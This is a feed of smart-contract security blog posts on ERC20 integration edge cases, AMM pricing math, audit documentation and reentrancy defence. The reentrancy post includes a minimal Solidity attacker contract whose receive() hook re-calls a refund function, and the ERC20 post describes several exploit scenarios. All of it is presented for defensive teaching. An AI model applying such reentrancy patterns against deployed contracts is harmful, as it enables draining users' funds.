Coder Legion - Recent posts tagged smartcontract

ERC20 Edge Cases Every Smart Contract Engineer Should Know

Wed, 24 Jun 2026 06:50:00 +0000

Your protocol launches. Everything passes the test suite with 100% coverage. Your audits are clean.

Then, an unexpected token enters your liquidity pool. The accounting drifts by a fraction of a percent. Within hours, the discrepancy compounds. Users attempt to withdraw, and the transactions revert. The vault is permanently bricked, and funds are stuck.

What went wrong?

Most ERC20 exploits are not actually bugs in the protocol's core logic. They happen because protocol engineers assume every token behaves exactly like a vanilla OpenZeppelin implementation.

The ERC20 standard is an interface, not a guarantee. It defines function signatures (transfer, approve, balanceOf), but it dictates absolutely nothing about the internal execution logic behind those signatures.

If your protocol integrates arbitrary tokens, your threat model immediately includes the behavior of those tokens. A single flawed assumption about how a token transfers, reverts, or accounts for balances can lead to systemic insolvency.

Let's look under the hood of the most common ERC20 edge cases that break production systems, and how to engineer defensive architectures to mitigate them.

The Four Assumptions That Break Integrations

Before we look at specific edge cases, it helps to build a mental model of why these failures happen. Almost every ERC20 integration bug stems from one of four flawed assumptions:

Amount Assumptions: Believing the amount you request to transfer is the exact amount that will arrive.
Execution Assumptions: Assuming token transfers are passive state updates, rather than active execution environments.
Permission Assumptions: Believing that having a sufficient balance and allowance guarantees a transfer will succeed.
Accounting Assumptions: Hardcoding precision logic or assuming token behavior is immutable.

Let's break down how these assumptions fail in production.

Edge Case #1: Fee-on-Transfer & Rebasing Tokens

The assumption
If I call token.transferFrom(alice, vault, 100), the vault's balance increases by exactly 100.

What actually happens
Tokens can deduct a tax on transfer (e.g., a 5% protocol fee) or continuously alter user balances algorithmically (rebasing).

Example failure
A user deposits 100 fee-on-transfer tokens. The token takes a 5% fee.

User calls deposit(100)
👇
Token executes transfer, deducts 5% tax
👇
Vault receives 95 tokens

❌ Vault internally mints 100 shares based on 'amount' parameter
✅ Vault should mint 95 shares based on actual received funds

Because the vault blindly minted 100 shares, the user can immediately withdraw 100 tokens, successfully stealing 5 tokens from previous depositors. The accounting drifts, and the last users to withdraw will be left with nothing.

Mitigation
Never trust the amount parameter for internal accounting. Always measure the actual balance delta before and after the transfer.

uint256 balanceBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceReceived = token.balanceOf(address(this)) - balanceBefore;

// Use balanceReceived for all subsequent logic, never 'amount'
_mintShares(msg.sender, balanceReceived);

Takeaway: Balance-delta accounting fixes this assumption. Unfortunately, the next edge case breaks protocols even when the balances match perfectly.

Edge Case #2: Tokens with Callbacks (ERC-777 & Transfer Hooks)

The assumption
Calling transfer only updates storage balances and returns execution flow directly back to my contract.

What actually happens
Standards like ERC-777, or custom tokens with transfer hooks, actively hand execution control back to the sender or receiver via external calls during the transfer process.

Example failure
Your protocol updates the user's internal debt balance after pushing tokens to them.

User calls withdraw()
👇
Protocol calls token.transfer(user)
👇
Token calls back to User's smart contract
👇
User's contract calls withdraw() AGAIN (before protocol debt is updated)

This is a classic reentrancy attack, facilitated entirely by the token's internal hook.

Why This Surprises Engineers: We naturally view tokens as passive data ledgers. Callbacks turn tokens into active, hostile execution environments.

Mitigation
Follow the Checks-Effects-Interactions (CEI) pattern religiously. Update all internal state before interacting with external tokens. Additionally, apply OpenZeppelin's ReentrancyGuard (nonReentrant modifier) to any function interacting with external tokens.

Takeaway: Reentrancy guards handle unexpected execution paths. But what happens when a token quietly fails without telling you?

Edge Case #3: Returning false vs. Reverting

The assumption
If a token transfer fails, the transaction will revert.

What actually happens
Some older tokens (like ZRX) do not revert on failure. Instead, they gracefully return a false boolean.

Example failure
Your protocol calls token.transfer(user, amount) and doesn't check the return value. The transfer fails (returns false), but your code continues executing. The protocol marks the user's debt as paid, even though no tokens actually moved.

Mitigation
Never use bare transfer or transferFrom calls. Wrap them in logic that asserts the boolean return value is true.

OpenZeppelin / best practice
Always use OpenZeppelin's SafeERC20 library (safeTransfer, safeTransferFrom). It normalizes behavior by forcing a silent false failure to revert.

Takeaway: SafeERC20 forces silent failures to revert. But occasionally, you actually want certain transfers to bypass reverts.

Edge Case #4: Zero Address & Zero Amount Reverts

The assumption
Transferring an amount of 0 is a harmless No-Op (no operation) that costs a little gas but executes successfully.

What actually happens
Different token implementations handle zeros differently. Some explicitly revert if the transferred amount is 0, or if the target is the zero address.

Imagine this scenario:
Your protocol distributes daily yields in a batch loop to 100 users. One user earned 0 yield today. The loop attempts to transfer(user, 0). The token reverts, crashing the entire transaction and preventing the other 99 users from receiving their yields.

Mitigation
Standardize behavior by wrapping transfers in a simple defensive check to bypass zero-amount logic.

if (amount > 0) {
    token.safeTransfer(user, amount);
}

Takeaway: Standardizing behavior protects your loops. But what if the token completely breaks the standard interface?

Edge Case #5: Missing Return Values (The USDT Problem)

The assumption
All ERC20 tokens return a boolean, as dictated by the standard interface.

Production Reality: Tether (USDT) on Ethereum Mainnet is non-standard. Its transfer, transferFrom, and approve functions do not return a boolean; they return void.

Example failure
If your contract compiles against the standard IERC20 interface, the EVM expects boolean return data to decode.

Standard: function transfer(...) returns (bool)
USDT:     function transfer(...) [returns void]
EVM:      "Wait, where is the boolean to decode? Revert."

Your protocol completely fails to integrate with the largest stablecoin on the market.

Mitigation
OpenZeppelin's SafeERC20 handles this under the hood. By using safeTransfer, you safely abstract away the missing return value issue at the assembly level.

Takeaway: SafeERC20 handles legacy interfaces. But interface compatibility won't save you from centralized control.

Edge Case #6: Blacklisted Addresses

The assumption
If an address has a sufficient balance and allowance, a transfer will always succeed.

What actually happens
Fiat-backed stablecoins like USDC and USDT maintain centralized blacklists. If an address is blacklisted, all transfers involving that address will revert.

Example failure
Your protocol liquidates undercollateralized debt. To close a position, it must send leftover USDC collateral to the user. The user gets blacklisted by Circle. The liquidation transaction reverts when attempting to send the leftover funds, preventing the protocol from clearing bad debt. The systemic risk cascades, threatening protocol solvency.

Design Rule: Pull-over-Push
Decouple protocol logic from token transfers. Instead of pushing funds to a user during a critical state change, record their balance internally and force them to pull (claim) it in a separate transaction.

Takeaway: Decoupling logic prevents centralized blacklists from freezing your protocol. Speaking of centralized quirks, let's look at approvals.

Edge Case #7: Non-Zero Approval Restrictions

The assumption
You can update an allowance from any number to any other number using approve(spender, newAmount).

What actually happens
To prevent approval front-running (where an attacker exploits an old allowance while a new one is pending), tokens like USDT require that allowances be reset to 0 before being updated to a new non-zero value.

Example failure
A router contract tries to update its USDT approval to a DEX from 50 to 100. It calls approve(dex, 100). Because the current allowance is 50 (non-zero), USDT reverts the transaction.

Mitigation
You must approve 0 before approving the target amount. In OpenZeppelin v5+, safeApprove was removed. Use forceApprove(), which natively handles the 0 reset under the hood.

Takeaway: Approval races are tricky, but at least the token is always the token... right?

Edge Case #8: Multiple Addresses for the Same Token

Mental Model: Think of an ERC20 token as a ledger. Usually, there is one door to access that ledger. But sometimes, developers build multiple doors (proxies, wrappers, aliases) that lead to the exact same ledger.

What actually happens
Some tokens (like older TrueUSD implementations) use multiple entry point addresses that point to the same underlying state.

Example failure
A lending protocol relies on the token's contract address as a unique identifier for price feeds. An attacker uses a wrapper contract that proxies to the same underlying token. The protocol reads the proxy as an unverified token, misprices the collateral, and allows the attacker to borrow against manipulated values.

Mitigation
Identify tokens strictly by exact, whitelisted addresses. Never rely blindly on msg.sender to dynamically determine asset identity.

Takeaway: Identity is fluid. And worse, token logic is mutable.

Edge Case #9: Upgradeable Tokens

The assumption
The token behavior I test today will be the token behavior in production tomorrow.

What actually happens
Tokens like USDC are upgradeable behind a proxy. The controlling entity can push an upgrade at any time, adding transfer fees, callbacks, or entirely new operational restrictions.

Example failure
You build a protocol assuming USDC has no fee-on-transfer. Circle upgrades USDC to enforce a 1 basis point transaction fee. Your static accounting breaks, and protocol funds become permanently locked because the math no longer balances.

Mitigation
Code defensively. Use balance-delta accounting (Edge Case #1) even if the token currently doesn't require it. Build pause functionality into your own protocol so you can halt operations if an upgrade breaks your integration.

Takeaway: You can't control token upgrades, but you can control how you calculate value. Which brings us to spot balances.

Edge Case #10: Flash-Mintable Tokens

The assumption
Massive token balances represent real, scarce capital.

What actually happens
Some tokens, like DAI, natively support flash-minting. A user can instantly mint millions of tokens in a single transaction, provided they are burned (with a fee) by the end of execution.

Example failure
Your protocol calculates governance voting power based on spot balances within a liquidity pool. An attacker flash-mints 100 million DAI, executes a massive governance manipulation, and repays the DAI in the same block.

Mitigation
Never rely on spot balances for price discovery or voting power. Use Time-Weighted Average Price (TWAP) oracles and historical checkpoints.

Takeaway: Spot balances lie. And sometimes, tokens lie about how much they transferred, too.

Edge Case #11: Transferring Less Than Requested

The assumption
If I request to transfer type(uint256).max, the token will either transfer that exact enormous amount or revert.

What actually happens
Some obscure tokens treat an amount parameter of type(uint256).max as a custom flag meaning "transfer all of the user's available balance."

Example failure
A protocol requests a uint256.max sweep. The token successfully transfers the user's actual balance of 50 tokens. The protocol incorrectly records that type(uint256).max tokens were received, creating massive artificial inflation.

Mitigation
Once again, balance-delta accounting saves the day. Never assume the requested amount is the executed amount.

Edge Case #12: High-Decimal Tokens

The assumption
Tokens either have 18 decimals (like ETH) or 6 decimals (like USDC).

What actually happens
Tokens like YAMv2 use 24 decimals.

Example failure
Your protocol multiplies a token balance by a high-precision constant before dividing it. Because the token already has 24 decimals, the multiplication exceeds type(uint256).max and triggers an unexpected math overflow, bricking the transaction.

Mitigation
Always dynamically read the decimals() function and normalize balances to a standard precision internally before performing complex math.

Bonus Edge Cases

Edge Case #13. Pausable Tokens:
Tokens can be globally paused by their admins. Ensure your system degrades gracefully and uses Pull-over-Push accounting so a globally paused token doesn't brick your entire transaction loop.

Edge Case #14. Large Approval/Transfer Reverts:
Tokens like UNI and COMP use uint96 for their internal accounting limits. Attempting to approve or transfer uint256.max will unexpectedly revert. Always approve exact required amounts.

Defensive ERC20 Integration Checklist

Before deploying any contract that touches external ERC20 tokens, verify your architecture against these rules:

Are you using SafeERC20? Never use bare .transfer() or .transferFrom().
Are you measuring balance deltas? Never assume amount sent == amount received.
Are you safe from reentrancy? Assume every token transfer is an external callback.
Are you using Pull-over-Push? Ensure a failing transfer only affects the specific user, not the broader system loop.
Have you normalized decimals? Do not assume 6 or 18 decimals.
Do you rely on spot balances? Ensure oracles and voting mechanisms cannot be manipulated via flash-mints.

Closing Thoughts

Smart contract engineering is deeply unforgiving because you are not just building software; you are building immutable financial infrastructure.

When you integrate an external token, you do not just integrate an asset. You inherit its execution models, its upgrade paths, its governance assumptions, and its operational constraints. If the token's logic changes, or if it behaves in a way you didn't model for, your protocol pays the price.

Treat every external token as fundamentally hostile. Rely on pure math, stateful invariants, and defensive accounting.

Reliable systems emerge from reducing assumptions. Let's build something we can trust.

What edge cases have caused problems in your own deployments? Let's chat about it in the comments below. Follow for more deep dives into smart contract architecture and onchain security.

How AMMs Work: The Simple Math Behind Decentralized Trading

Mon, 22 Jun 2026 11:47:13 +0000

One of the hardest problems in decentralized systems is this: how do two strangers trade without trusting each other or paying a middleman to coordinate?

In traditional finance, this is solved by centralized exchanges. On the blockchain, we solve it with an Automated Market Maker (AMM).

If you spend any time looking at decentralized finance (DeFi), you have probably seen the acronym floating around. Today, we are going to look under the hood to see exactly what an AMM is, why the Ethereum ecosystem desperately needed it, and how it translates market rules into unstoppable code.

The Constraint: Why Order Books Fail Onchain

Before we can appreciate the solution, we have to understand the architectural constraint.

In traditional finance (like the stock market or centralized crypto exchanges like Binance or Coinbase), trading runs on an Order Book.

An order book is a giant digital matchmaking list. If I want to buy 1 ETH for $2,000, I write my name on the list. The exchange then searches for someone willing to sell 1 ETH for exactly $2,000. When it finds a match, the trade executes.

This works flawlessly on centralized servers. But on a blockchain, order books have a fatal flaw: Cost.

Every single time you place, cancel, or match an order, it requires a state change on the network. State changes cost "gas" (transaction fees). If you had to pay a $20 gas fee just to list your trade on a decentralized order book whether someone buys it or not, the system would instantly become too slow and prohibitively expensive to use.

We needed a way to trade assets without a matchmaking middleman. We needed to replace human coordination with reliable computation.

The Analogy: The Potato & Apple Farmers

To understand how an AMM solves this coordination problem, let's use a simple system model.

Imagine you are a potato farmer. You have hundreds of potatoes. Eventually, you get sick of them and just want a crisp, sweet, red apple.

There are no grocery stores. To get an apple, you have to find an apple farmer who is tired of apples and wants potatoes, and trade with them directly. This is the exact equivalent of an Order Book-finding a direct match. It is exhausting.

Now, imagine an automated bin appears in the middle of your village.

A wealthy merchant came by and filled this bin with 100 apples and 100 potatoes. The bin has no human cashier. Instead, it is run by a simple mathematical formula. The formula's only rule is to balance the supply.

When you walk up to the bin and take out 20 apples, apples suddenly become scarcer. Because there are fewer apples left in the bin, the formula automatically raises the price of apples. To take those 20 apples, the bin demands you put in 25 potatoes.

Next time someone wants an apple, it will cost even more potatoes, because apples are getting rarer. But if an apple farmer comes along and dumps 50 apples into the bin to take out some potatoes, the price of apples drops back down.

That bin isn't intelligent. It doesn't predict markets. It simply enforces rules.

This automated, math-driven bin is the exact conceptual framework of an Automated Market Maker.

The Mechanism: The Constant Product Formula

In decentralized systems, that automated bin is called a Liquidity Pool. It is simply a smart contract holding a pool of two different tokens (like ETH and USDC).

Instead of waiting for an order book to match your trade, you trade directly against the smart contract.

But how does the contract know what price to charge you? It uses an algorithmic invariant. The most common one is the Constant Product Formula, which looks like this:

x * y = k

This math is beautifully simple and completely deterministic:

x is the amount of Token A (e.g., Apples).
y is the amount of Token B (e.g., Potatoes).
k is a constant number that must always stay exactly the same after a trade.

Let's use our 100 apples and 100 potatoes example.
100 (apples) * 100 (potatoes) = 10,000 (our constant 'k')

If you take 20 apples out of the pool, there are only 80 apples left. But the smart contract strictly enforces that the total multiplied together must still equal 10,000.

So, the contract calculates the new required state: 10,000 / 80 apples = 125 potatoes.

For the pool to satisfy the invariant, it must now contain 125 potatoes. Since it originally had 100, you have to deposit 25 potatoes (the difference between 125 and 100) to execute your trade.

That is it. Supply and demand, governed purely by unbreakable math. As one asset is bought out of the pool, it mathematically becomes more expensive. As an asset is sold into the pool, it becomes cheaper.

The Infrastructure: Liquidity Providers

This raises an engineering question: Where do the millions of dollars worth of tokens sitting in these smart contracts come from?

They come from Liquidity Providers (LPs).

LPs are everyday users, investors, or protocols who lock their own tokens inside the smart contract to fund the pool. In exchange for supplying this infrastructure, they receive an LP Token: a digital receipt proving they own a percentage of that specific pool.

Why would anyone risk their capital to let strangers trade against it?

Fees.

Every time a user makes a swap on an AMM, the protocol charges a tiny fee (usually around 0.3%). That fee does not go to a CEO or a centralized exchange. It goes directly back into the liquidity pool.

Because the LP tokens represent a percentage claim over the pool, as those trading fees pile up, the underlying value of the LP tokens increases. The Liquidity Providers earn a yield simply for providing the capital that makes decentralized trading possible.

Key Takeaways

Let's quickly recap the system architecture we just explored:

Order Books are inefficient onchain. Requiring a state change for every order creation and cancellation costs too much gas.
AMMs replace middlemen with math. You trade directly against a smart contract (a Liquidity Pool) rather than waiting for a human counterpart.
Prices are driven by deterministic algorithms. Using formulas like x * y = k, the AMM automatically raises the price of an asset as it becomes scarcer in the pool.
Liquidity Providers are the backbone. They supply the underlying tokens that make the system liquid, earning trading fees as a reward for their capital.

Final Thoughts

AMMs changed trading by replacing coordination with computation, turning market rules into software anyone can verify.

They took a complex, middleman-heavy financial process and reduced it to a few lines of self-executing, reliable code. They are a perfect example of how thoughtful engineering can create systems that are not only highly functional, but entirely trustless.

What are your thoughts on how AMMs are designed? Have you ever provided liquidity to a protocol yourself? Let's chat about it in the comments below.

Let's build something you can trust. Follow for more deep dives into smart contract architecture and onchain fundamentals.

The Brief for the Judge: Writing Audit-Ready Documentation

Tue, 26 May 2026 17:00:00 +0000

We have spent the last four posts building MilestoneCrowdfundUpgradeable protocol. We architected an upgradeable proxy, designed a mathematically rigorous escrow engine, fuzz-tested its invariants, and locked the doors against reentrancy attacks. We built a fortress.

But there is one final step. A secure fortress is incredibly dangerous if you don't leave behind a blueprint explaining exactly how the traps and locks are supposed to work.

Most developers hate writing documentation. In Web2, bad documentation means a new developer joins your team and spends three days figuring out an API endpoint instead of one hour. Frustrating, expensive, recoverable.

In Web3, bad documentation is catastrophic. When you hand your code to a security auditor, bad documentation means they might misunderstand the intended behavior of a function. They might classify a deliberate design choice as a vulnerability, forcing you to waste weeks fixing a non-issue. Worse, they might see a real bug, assume it was your intended logic, and let it pass into production where user funds get drained.

In this final post, I want to share exactly how I approached documenting MilestoneCrowdfundUpgradeable from NatSpec comments to architectural READMEs and why I believe documentation is the most underrated security tool in Web3.

The Mindset: Preparing the Brief

When I prepare a protocol for an audit, I think of the documentation as the brief I am handing to a judge before a trial.

The auditor is the judge. The code is the evidence. But without the brief, without the written explanation of intent, the documented invariants, and the explicit threat model, the judge is left to interpret the evidence alone. And interpretation without intent is where dangerous misreadings happen.

But here is the deeper truth: documentation isn't just for auditors. It is for the version of you that comes back to this codebase in six months after working on three other projects. That person has forgotten everything. The comments and the threat model are the only things standing between future-you and a catastrophic misunderstanding of your own protocol.

My rule is simple: If I have to think for more than five seconds about what a piece of code is doing, that piece of code needs a comment. Not because the code is bad, but because the next person reading it shouldn't have to spend those same five seconds. In a paid audit, those five seconds across a thousand lines become expensive hours of confusion.

NatSpec: Before, During, and After

Solidity uses a comment format called NatSpec (Ethereum Natural Language Specification). My approach to writing it happens in three distinct phases:

1. Before (The Specification)
I write the @notice and @param descriptions before I write the function body. This forces me to articulate what the function is supposed to do in plain English before I write a single line of logic. If I cannot describe it clearly in one sentence, I do not understand it well enough to code it yet. The comment becomes the specification; the code is just the implementation.

2. During (The "Why")
While writing the body, I add inline comments at critical decision points. In the last post, we looked at this exact code block:

// CEI: Effects - Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

Any competent developer can read _pledges[_id][msg.sender] = 0 and know what it does. What they cannot know without a comment is that this line is here specifically to prevent a reentrancy attack. My personal rule: The code says "what". Only a comment can say "why".

3. After (The Edge Cases)
After the function is complete, I write the @dev block. This is where I document the non-obvious: the edge cases I considered and rejected, the invariants this function must maintain, and the assumptions that must be true for it to be safe.

The Power of Visual State Machines

A smart contract is a state machine. It has states (Fundraising, Succeeded, Failed, Abandoned) and transitions between those states (finalize, haltCampaign).

You can write all of that in prose, but the human brain does not reason about state machines in paragraphs. It reasons about them visually. The moment I drew the state diagram for MilestoneCrowdfundUpgradeable using PlantUML, a massive gap became visible.

Looking at the diagram, I immediately noticed there was no direct transition from Fundraising to Abandoned. A campaign could only be Abandoned after it Succeeded. That was a correct design decision, you shouldn't be able to abandon a project that never even got funded but seeing it drawn forced me to go back and verify that the Solidity code actually enforced this explicitly. The diagram asked a question the code never explicitly answered.

Diagrams also communicate to people who cannot read Solidity. Your investors, your community, or a tokenomics specialist auditing your math might struggle with the raw code, but they can instantly follow a visual map.

The README Architecture

A lot of Web3 repositories just leave the default Foundry or Hardhat README file. Alternatively, they throw every piece of information into one giant, 3,000-word file.

One giant file is a red flag. It tells an auditor that the author did not think carefully about who would be reading it. I split the MilestoneCrowdfundUpgradeable documentation into specific hubs tailored to specific readers:

Protocol_Architecture.md: Written for the Auditor. Their primary question is: What is this protocol supposed to do, and what rules must it never break? This document answers that immediately.
Integration_Guide.md: Written for the Frontend Developer. Their primary question is: How do I call these functions correctly without breaking anything? They need the function signatures and error codes, not the threat model.
Incident_Response.md: Written for the Security Researcher. If they find a live vulnerability, their primary question is: Who has the authority to pause this, and how do I reach them right now? If they have to dig through installation instructions to find your emergency contact, you are wasting critical seconds during a hack.
Threat_Model.md: Written for the Skeptical Reviewer. This is the document most developers skip. It says: Here are the attacks we considered, here is why we are protected, and here are the residual risks we knowingly accepted. You cannot write a threat model without thinking like an attacker, and you cannot think like an attacker without finding things you missed.

A well-structured repository is a signal of engineering maturity. Before an auditor reads a single line of your Solidity, they have already formed a judgment about how seriously you take correctness based on your file structure.

The Hardest Part: Combating Drift

The hardest part is not writing documentation. It is keeping it true.

Code changes. Documentation does not change automatically. The gap between them is one of the most dangerous states a codebase can be in.

I experienced this directly. Early in the design of the fiat bridge, pledgeFiatOnBehalf was intended to apply a reduced platform fee. The NatSpec reflected that. Later, the stakeholder and I decided fiat pledges would be completely fee-exempt on-chain, with fees handled off-chain by Stripe.

I changed the code. I didn't immediately update the comment.

I caught it during a final review pass, but imagine if I hadn't. An auditor reading that comment would have expected fee logic that didn't exist, flagged its absence as a high-severity bug, and forced us to waste days in remediation meetings arguing over a phantom issue.

The discipline I developed from that experience is strict: Every time you change a function body, you update the NatSpec before you close the file. Not before you commit. Immediately. The comment is a structural part of the function, not a separate chore to do later.

The BinnaDev Takeaway

When a junior developer tells me, "My code is clean, it's self-documenting, I don't need to write a README," my response is always the same:

"Show me the part of your code that explains why you made that design decision."

Clean code tells you what. Only documentation tells you why. And in smart contract engineering, the why is where all the security lives. "Self-documenting code" makes sense in Web2 where the worst-case scenario is a confused colleague. It does not make sense in Web3 where the worst-case scenario is a misunderstood intent that costs your users everything they trusted you with.

Here is the practical test: If a professional auditor had to judge whether a specific line in your contract was an intentional design choice or a bug, would your code give them enough information to judge correctly without asking you a single question? If the answer is no, you need documentation.

And I will be completely honest with you on how I execute this practically.

English is not my first language. Documentation is fundamentally an asynchronous communication tool, you are writing for a stranger who cannot ask you a follow-up question, they have to wait for your response. In this context, a grammatical error doesn't just look careless; it creates genuine ambiguity. Did the developer mean this or that? To solve this, I use AI. Agile engineering tells us to prioritize working software over comprehensive documentation. That doesn't mean skip the docs; it means be smart about where your mental energy goes. The architecture, the invariant math, the security decisions, those required 100% of my focus. I used AI to help draft NatSpec suggestions and catch grammatical ambiguity so my thinking wasn't limited by the mechanics of expressing it in a second language. The ideas are mine entirely. The precision of communicating them is a collaboration.

Your code being clean means you are a careful developer. Your protocol being documented means you respect the people who will put their money into what you built. Both are required. You have the tools. Use them.

This concludes our five-part journey building the MilestoneCrowdfundUpgradeable protocol. From upgradeable proxies to defensive math, stateful fuzzing, reentrancy guards, and audit-ready documentation.

I hope this series has given you a real-world look at what security-first Web3 engineering actually looks like. Keep building, stay paranoid, and write excellent code.

Thinking Like an Attacker: The Airbags and Seatbelts of Smart Contract Security

Tue, 26 May 2026 07:00:00 +0000

In our last post, we built a mathematical proving ground using Foundry. We used stateful fuzzing to prove that the rules of our MilestoneCrowdfundUpgradeable protocol work exactly as intended.

But testing only proves that the contract behaves correctly when people follow the rules. What happens when someone actively tries to break them?

In Web2, when you think about security, you think about the perimeter. Who can get in? You build firewalls, you require authentication, you set up rate limiting. The attacker is outside the system, trying to break down the door.

In Web3, there is no perimeter. Your contract is public. The state is public. Every single function is readable by anyone on earth the moment you deploy it. The attacker is not trying to get past a wall, they are standing inside the room with you, reading your rulebook, looking for a sentence that contradicts itself.

So, my security-first mindset when I sit down to write Solidity is this: I am writing rules for a system that a brilliant, motivated, financially incentivized adversary will study longer and harder than I wrote it.

In this post, I want to show you exactly how I design against those adversaries. We are going to look at the most infamous hack in Web3 history, how to prevent it using the golden rule of smart contracts, and the real-world edge cases I had to actively design around.

The Refund Kiosk Glitch

To understand the most dangerous exploit in smart contracts, you don't need to understand code yet. You need to understand the refund kiosk glitch.

Imagine a store installs a new, automated self-service refund kiosk. It works like this:

You scan your receipt.
The machine dispenses your cash.
The machine marks your receipt as "refunded" in the database.

A clever person notices something. Between step 2 and step 3, there is a processing gap: a brief moment while the database updates.

So, the attacker builds a device and physically attaches it to the kiosk's cash dispenser slot. When cash drops into the tray, the weight of the notes triggers a pressure sensor inside the device, which automatically scans the receipt again immediately.

The attacker does not press any buttons. The act of receiving cash is itself the trigger for the next scan.

The kiosk checks the database: "Is this receipt already refunded?" The database still says no, because step 3 hasn't happened yet. So the kiosk dispenses again. Cash drops. The pressure sensor fires. The receipt scans again. The database still says no. It dispenses again.

This loop continues until the machine is completely empty. Nobody held anyone at gunpoint. The machine was following its own rules perfectly, it checked the ledger every single time before it paid. It just checked a ledger that was always one step behind reality.

The fix is incredibly simple. You just change the order of operations at the kiosk:

Scan your receipt.
Mark it as refunded in the database immediately.
Now, dispense the cash.

Now, when the cash drops and the pressure sensor fires a second scan, the kiosk checks the database, sees it is already refunded, and dispenses nothing. The loop never starts. By updating the internal record before handing over the cash, we close the exploitation gap entirely.

In smart contract engineering, this fix is called Checks-Effects-Interactions (CEI).

Check: Does this user have a valid claim?
Effect: Zero their balance in the ledger right now, before a single coin moves.
Interaction: Now, send the money.

Reentrancy: The Kiosk on Ethereum

Now that you understand the kiosk glitch, you already understand Reentrancy. Because Reentrancy is exactly that glitch, running on a blockchain.

In Ethereum, when your smart contract sends ETH to an address, if that address belongs to another smart contract, it can execute code the exact moment it receives the ETH. That receiving code is called a receive() function.

That receive() function is the pressure sensor. The attacker writes it once, deploys their contract, and the blockchain executes it automatically the moment ETH arrives. They do not manually trigger anything. The callback is a feature of how ETH transfers work, turned into a weapon.

Here is what the attacker's contract looks like:

contract Attacker {
    MilestoneCrowdfund public target;

    // The pressure sensor: When this contract receives ETH, 
    // it immediately calls claimRefund again, before the first call finishes!
    receive() external payable {
        target.claimRefund(campaignId);
    }

    function attack() external {
        target.claimRefund(campaignId);
    }
}

If we sent the money before updating our internal ledger, this attacker would drain our entire protocol in a single transaction. But because we use the Checks-Effects-Interactions pattern, look at the exact order of the claimRefund function inside MilestoneCrowdfundUpgradeable:

// 1. CHECKS: Does the user have a valid claim?
uint256 userPledge = _pledges[_id][msg.sender];
if (userPledge == 0) revert MilestoneCrowdfund__NoContribution();

// 2. EFFECTS: Update the ledger first, before money moves!
_pledges[_id][msg.sender] = 0;

// 3. INTERACTIONS: Now the money moves.
(bool success,) = payable(msg.sender).call{value: refundAmount}("");

By zeroing _pledges[_id][msg.sender] before the ETH moves, every malicious reentrant call finds a zero balance and reverts immediately. The ledger is never one step behind.

As a second line of defense, I also use OpenZeppelin's nonReentrant modifier. It works by setting a lock flag at the start of the function. Think of it as a door that locks behind you the moment you step inside. If the malicious receive() function tries to call claimRefund again, it slams into that locked door, and the entire transaction instantly reverts.

CEI makes the contract logically correct. nonReentrant makes it mechanically impossible to reenter. I tell every junior developer: do not choose between them. Use both. CEI is the airbag. nonReentrant is the seatbelt. You want both in the car.

The Real Edge Cases I Had to Design Around

Security isn't just about stopping hackers; it's about mitigating the risks of your own design choices. There were two specific edge cases I had to actively design around.

1. The Live Fee Rate
In MilestoneCrowdfundUpgradeable, the platform fee (defaultFeeBps) is a global variable that the owner can change at any time. This means two donors to the exact same campaign could pay different effective fees if the owner changes the rate between their pledges.

Why design it this way? Because the stakeholder explicitly requested the flexibility to run dynamic fee promotions. I immediately flagged the vulnerability to them: what if a compromised owner key raised the fee to 5% right before a massive whale pledge, and then immediately lowered it back? This would silently skim thousands of dollars from a single donor, and unless you were watching the transaction pool in real-time, it would be almost invisible.

I agreed to the stakeholder's requirement, but only with a strict mitigation strategy. The defense here isn't in the Solidity code, it is in the governance architecture. The owner is strictly documented as an Admin Multisig wallet. A single compromised key cannot change the fee unilaterally. The system around the code must be designed with the same rigor as the code itself.

2. The Dust Sweep
When dividing milestones by percentages, integer division always leaves a tiny fraction of a cent (wei) permanently locked in the contract. To prevent this "dust" from being lost forever, my contract uses a special code path for the final milestone:

if (c.milestonesReleased == c.milestoneCount) {
    amountToRelease = c.totalRaised - c.totalWithdrawn;
}

It simply sweeps whatever is left. But I had to ask myself rigorously: Can this sweep ever release MORE than it should? The mathematical guarantee that it cannot is my invariant: totalWithdrawn <= totalRaised. That is precisely what that same 4,495-second fuzz run from the last post was verifying. The fuzz test isn't decoration; it is the mathematical evidence that this final sweep is safe.

The BinnaDev Takeaway

If you are a junior developer about to deploy your first contract that holds real ETH, here is my ultimate advice to you:

Do not deploy until you can answer this question about every function that sends money: "What happens if the recipient is a malicious contract?"

Not a normal wallet. A smart contract. With a receive() function you did not write, controlled by someone who wants your users' funds, with a pressure sensor already wired and waiting.

If you cannot answer that question confidently for every single external call in your codebase, you are not ready to deploy. Go back and apply the Checks-Effects-Interactions pattern to every function that moves value. Add nonReentrant to every function that moves value. Then ask the question again.

The developers who get hacked are not the ones who don't know about reentrancy. They are the ones who know about it in theory, but did not sit down with their own code and ask that exact question. Knowledge without application is not protection.

Read your own code as if you are the attacker. The moment you find something that makes you uncomfortable as the attacker, you have found something to fix as the engineer. If you want a structured baseline for this evaluation, I highly recommend reading Trail of Bits' excellent post, Can You Pass the Rekt Test? It is a mandatory checklist for any serious Web3 engineering team.

Sleep comes after that review. Not before.

We have architected the protocol, proven the math, and secured the vault. But a secure protocol is useless if no one knows how to safely interact with it. In our fifth and final post, we are going to talk about the most underrated skill in Web3: Writing Audit-Ready Documentation.

From Promises to Proof: Designing a Defensive Escrow Protocol

Mon, 27 Apr 2026 13:42:49 +0000

In the last post, we looked at how to make smart contracts upgradeable safely. But an upgradeable proxy is just an empty building. Today, we are walking inside the building to look at the engine.

If you are new to Web3, you might wonder why we even need smart contracts for crowdfunding.

Think about traditional crowdfunding platforms like Kickstarter. You trust the creator, you send them your money upfront, and you hope they deliver. Or, think about basic crypto transfers: you send ETH directly to a developer's wallet.

Both scenarios have a simple, critical flaw: you are giving away 100% of your money based on a promise. There is no enforced rule that says, "You only get paid if you actually do the work." If the creator vanishes after taking your money, you are out of luck.

What I wanted to fix with the MilestoneCrowdfundUpgradeable protocol wasn't fundraising. It was execution trust.

The Mental Model: What is a Defensive Escrow?

I framed the architecture around a concept I call a Defensive Escrow.

Instead of sending money directly to a person, you send it to a smart contract. Think of the smart contract as an unbreakable, unbiased robot middleman. The robot locks the money in a vault. It only releases the funds chunk by chunk as the creator proves they've completed specific milestones.

If the creator fails or disappears, the robot protects you automatically by returning whatever is left in the vault.

Here is how I designed the mechanics to make that happen.

The Math Problem: Why 10,000 Basis Points?

When you build financial systems in Solidity, you quickly learn one thing: the Ethereum blockchain hates decimals.

